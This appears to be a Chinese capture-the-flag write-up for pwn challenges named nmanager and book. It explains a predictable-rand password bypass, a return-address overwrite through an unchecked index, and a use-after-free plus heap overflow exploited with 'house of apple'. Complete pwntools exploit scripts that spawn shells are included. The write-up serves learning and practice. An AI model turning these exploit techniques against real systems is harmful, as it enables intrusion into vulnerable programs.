houseofsome
实在是不会就放弃咯
nmanager
检查保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
pass
可以被预测
v3 = time(0LL);
srand(v3);
memset(pss, 0, sizeof(pss));
for ( i = 0; i <= 0; ++i )
pss[i] = characters[rand() % 62];
结构体
00000000 Data struc ; (sizeof=0x68, mappedto_8)
00000000 gender db 32 dup(?)
00000020 age dq ?
00000028 name db 64 dup(?)
00000068 Data ends
联合C
编程,过check
(不成功再运行几次)
from ctypes import *
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
pss = char[libc.rand() % 62];
r.sendlineafter(b'input password: ', pss)
modify
函数可以多次修改可控地址内容并且输出输入的内容,当name
长度为0x10
时可以泄露libc
地址
do
{
puts("## select the idx you want modify ##");
__isoc99_scanf("%d", &n);
printf("gender: ");
read(0, (void *)(0x78LL * n + a1), 0x20uLL);
printf("age: ");
__isoc99_scanf("%lld", 120LL * n + a1 + 0x20);
printf("name: ");
read(0, (void *)(0x78LL * n + a1 + 0x28), 0x40uLL);
printf(
"[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
(unsigned int)n,
(const char *)(120LL * n + a1 + 40),
*(_QWORD *)(120LL * n + a1 + 32),
(const char *)(120LL * n + a1));
puts("quit now?(Y/y)");
read(0, buf, 3uLL);
}
while ( buf[0] != 'y' && buf[0] != 'Y' );
在read
下断点计算输入地址与返回地址的偏移来计算idx
,覆盖返回地址为ogg
即可,如果n=8
直接填ogg
程序会卡在[rbp - 0x78]
,调试后发现在ogg
前0x8
填充一个合理地址即可。由于地址随机化所以计算的偏移要多运行几次才能再次重合
完整exp如下:
from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('8.147.135.190', 34466)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
pss = char[libc.rand() % 62];
r.sendlineafter(b'input password: ', pss)
r.sendlineafter(b'select the idx you want modify', b'0')
r.sendafter(b'gender: ', b'0')
r.sendlineafter(b'age: ', b'0')
r.sendafter(b'name: ', b'a' * 0x10)
r.recvuntil(b'name: aaaaaaaaaaaaaaaa')
libc_base = u64(r.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00')) - 0x22a530
li(hex(libc_base))
r.sendlineafter(b'quit now?(Y/y)', b'n')
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
libc = ELF('./2.35/2.35-0ubuntu3_amd64/libc.so.6')
gadget = one[0] + libc_base
r.sendlineafter(b'select the idx you want modify', b'8')
r.sendafter(b'gender: ', p64(0x404000) + p64(gadget))
r.sendlineafter(b'age: ', b'0')
r.sendafter(b'name: ', b'a')
r.sendlineafter(b'quit now?(Y/y)', b'y')
r.interactive()
book
保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
uaf漏洞
void delete()
{
int index; // [rsp+4h] [rbp-Ch]
printf("Index:");
index = my_read();
free((void *)heap[index]); // uaf
}
堆溢出漏洞
char *edit()
{
int v1; // [rsp+4h] [rbp-Ch]
printf("Index:");
v1 = my_read();
printf("content: ");
return fgets((char *)heap[v1], chunk[v1], stdin); //heap overflow
}
将_IO_list_all
链接到fastbin
上之后进行house of apple
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\\x1b[01;38;5;214m' + x + '\\x1b[0m')
ll = lambda x : print('\\x1b[01;38;5;1m' + x + '\\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = '> '
def add(index, size):
r.sendlineafter(menu, '1')
r.sendlineafter(b'Index', str(index))
r.sendlineafter(b'what size :', str(size))
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter(b'Index', str(index))
def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter(b'Index', str(index))
def edit(index, content):
r.sendlineafter(menu, '4')
r.sendlineafter(b'Index', str(index))
r.sendlineafter(b'content', content)
for i in range(9):
add(i, 0x80)
for i in range(8):
delete(i)
show(7)
libc_base = u64(r.recvuntil('\\x7f')[-6:].ljust(8, b'\\x00')) - 0x219ce0
li('unsortedbin_addr = ' + hex(libc_base))
libc = ELF('./libc.so.6')
_IO_list_all = libc_base + libc.sym['_IO_list_all']
li('_IO_list_all = ' + hex(_IO_list_all))
show(0)
key = u64(r.recvuntil(b'\\n')[1:-1].ljust(8, b'\\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
system_addr = libc_base + libc.sym['system']
for i in range(8):
add(i, 0x80)
for i in range(9):
add(i, 0x70)
for i in range(8):
delete(i)
delete(8)
delete(7)
for i in range(7):
add(i, 0x70)
p1 = p64(key ^ _IO_list_all)
add(0, 0x70)
edit(0, p1)
add(1, 0x70)
add(2, 0x70)
target_addr = heap_base + 0xc30
add(0, 0x70)
edit(0, p64(target_addr))
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
p2 = b'\\x00'
p2 = p2.ljust(0x28, b'\\x00') + p64(1)
p2 = p2.ljust(0xa0, b'\\x00') + p64(target_addr + 0xe0)
p2 = p2.ljust(0xd8, b'\\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xe0 + 0xe0, b'\\x00') + p64(target_addr + 0x210)
add(1, 0x200)
edit(1, p2)
one = [0x50a47, 0xebc81, 0xebc85]
one_gadget = one[1] + libc_base
p3 = b'\\x00'
p3 = p3.ljust(0x68, b'\\x00') + p64(one_gadget)
add(2, 0x200)
edit(2, p3)
r.sendlineafter(menu, '5')
r.interactive()
最后,houseofsome
虽然没有写出来,但是在写这题的过程中学到了很多
- 覆盖
main_arena
可以修改top chunk
的地址 - 只能写
\x00
在libc
的时候可以覆盖stdin
的_IO_buf_base
为指向_IO_buf_end
的地址(前提是指向_IO_buf_end
的值末尾就是\x00
),覆盖为要写的地址